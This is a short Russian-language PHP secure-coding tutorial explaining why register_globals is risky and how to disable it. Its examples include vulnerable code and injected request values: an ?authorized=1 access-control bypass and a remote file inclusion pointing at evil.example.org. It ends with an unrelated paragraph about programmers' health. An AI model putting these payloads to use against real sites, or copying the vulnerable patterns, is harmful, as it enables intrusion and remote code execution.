Register Globals
Директива register_globals отключена по умолчанию в версии PHP 4.2.0 и выше. Хотя она не представляет собой уязвимость системы безопасности, это риск для безопасности в общем. Поэтому вы всегда должны разрабатывать приложения с выключенным register_globals.
Так какую же опасность она представляет? Вот хороший пример из PHP manual:
<?php if (authenticated_user()) { $authorized = true; } if ($authorized) { include "/highly/sensitive/data.php"; } ?>
Если при register_globals = ON добавить к запросу ?authorized=1, то можно обойти систему контроля доступа. Конечно, эта уязвимость допущена по вине разработчика, а не register_globals, однако это указывает на повышенный риск, связанный с данной директивой. Без этого обычные глобальные переменные (такие как $authorized в примере) не зависят от данных, представленных пользователем. Поэтому лучше всего инициализировать все переменные и разрабатывать скрипт совместно с error_reporting(E_ALL), так что использование неинициализированной переменной не будет забыто в процессе разработки.
Другим примером, который показывает, как register_globals может наделать проблем, является использование динамического пути:
<?php include '$path/script.php'; ?>
При register_globals = ON хакер может ввести ?path=http%3A%2F%2Fevil.example.org%2F для того, чтобы приравнять этот запрос к следующему:
<?php include 'http://evil.example.org/?path=http://evil.example.org/script.php'; ?>
Тем самым скрипт подключит http://evil.example.org/ так же, как если бы это был локальный файл. Это основные уязвимости в системе безопасности, которые были обнаружены в некоторых популярных приложених с открытым кодом.
Конечно инициализация $path поможет избежать подобного риска, но все-таки лучше отключить register_globals совсем. На большинстве современных хостинг-провайдеров эта директива отключена по умолчанию. Также ее можно отключить и вручную. Для этого в файле .htaccess следует прописать следующее:
php_flag register_globals off
При отключении данной директивы вы не допустите ошибок, приведенных в данной статье.
Хотелось бы напоследок сказать пару слов о здоровье. Многие программисты болеют заболеваниями опорно-двигательного аппарата. Это связано в первую очередь с малоподвижным, сидячим образом жизни. Для профилактики возможных заболеваний следует выполнять упражнения для опорно-двигательного аппарата по различным методикам. Упражнения укрепляют сосудистую систему, улучшают кровообращение и общее самочувствие.